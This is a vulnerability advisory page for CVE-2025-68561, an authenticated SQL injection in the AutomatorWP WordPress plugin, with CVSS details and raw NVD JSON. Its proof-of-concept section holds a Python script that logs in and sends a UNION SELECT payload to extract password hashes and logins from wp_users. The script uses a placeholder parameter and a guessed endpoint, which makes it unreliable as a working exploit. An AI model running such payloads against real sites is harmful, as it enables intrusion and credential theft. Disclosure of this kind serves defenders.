Security Vulnerability Report
中文
CVE-2025-68561 CVSS 7.6 HIGH

CVE-2025-68561

Published: 2025-12-23 12:15:47
Last Modified: 2026-04-23 15:36:02

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia AutomatorWP automatorwp allows SQL Injection.This issue affects AutomatorWP: from n/a through <= 5.2.4.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

AutomatorWP <= 5.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import quote # CVE-2025-68561 SQL Injection PoC for AutomatorWP <= 5.2.4 # Target: WordPress site with AutomatorWP plugin installed # Authentication: Requires high privilege account (admin) target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" username = sys.argv[2] if len(sys.argv) > 2 else "admin" password = sys.argv[3] if len(sys.argv) > 3 else "password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } response = session.post(login_url, data=login_data, cookies=session.cookies.get_dict()) if "wp-admin" not in response.url and "error" not in response.url.lower(): print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Step 2: Exploit SQL Injection # The vulnerable parameter depends on the specific AutomatorWP functionality # Replace 'vulnerable_param' with actual vulnerable parameter vulnerable_param = "some_param" # This needs to be identified from source code analysis sqli_payload = "1' UNION SELECT user_pass,user_login,user_email,user_url FROM wp_users WHERE '1'='1" encoded_payload = quote(sqli_payload) exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "automatorwp_handle_action", vulnerable_param: encoded_payload } response = session.post(exploit_url, data=exploit_data) print("[*] Payload sent, check response for data extraction") print(response.text) print("\n[!] Note: This is a proof-of-concept. Actual exploitation requires identifying the exact vulnerable endpoint and parameter.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68561", "sourceIdentifier": "[email protected]", "published": "2025-12-23T12:15:46.567", "lastModified": "2026-04-23T15:36:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia AutomatorWP automatorwp allows SQL Injection.This issue affects AutomatorWP: from n/a through <= 5.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/automatorwp/vulnerability/wordpress-automatorwp-plugin-5-2-4-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}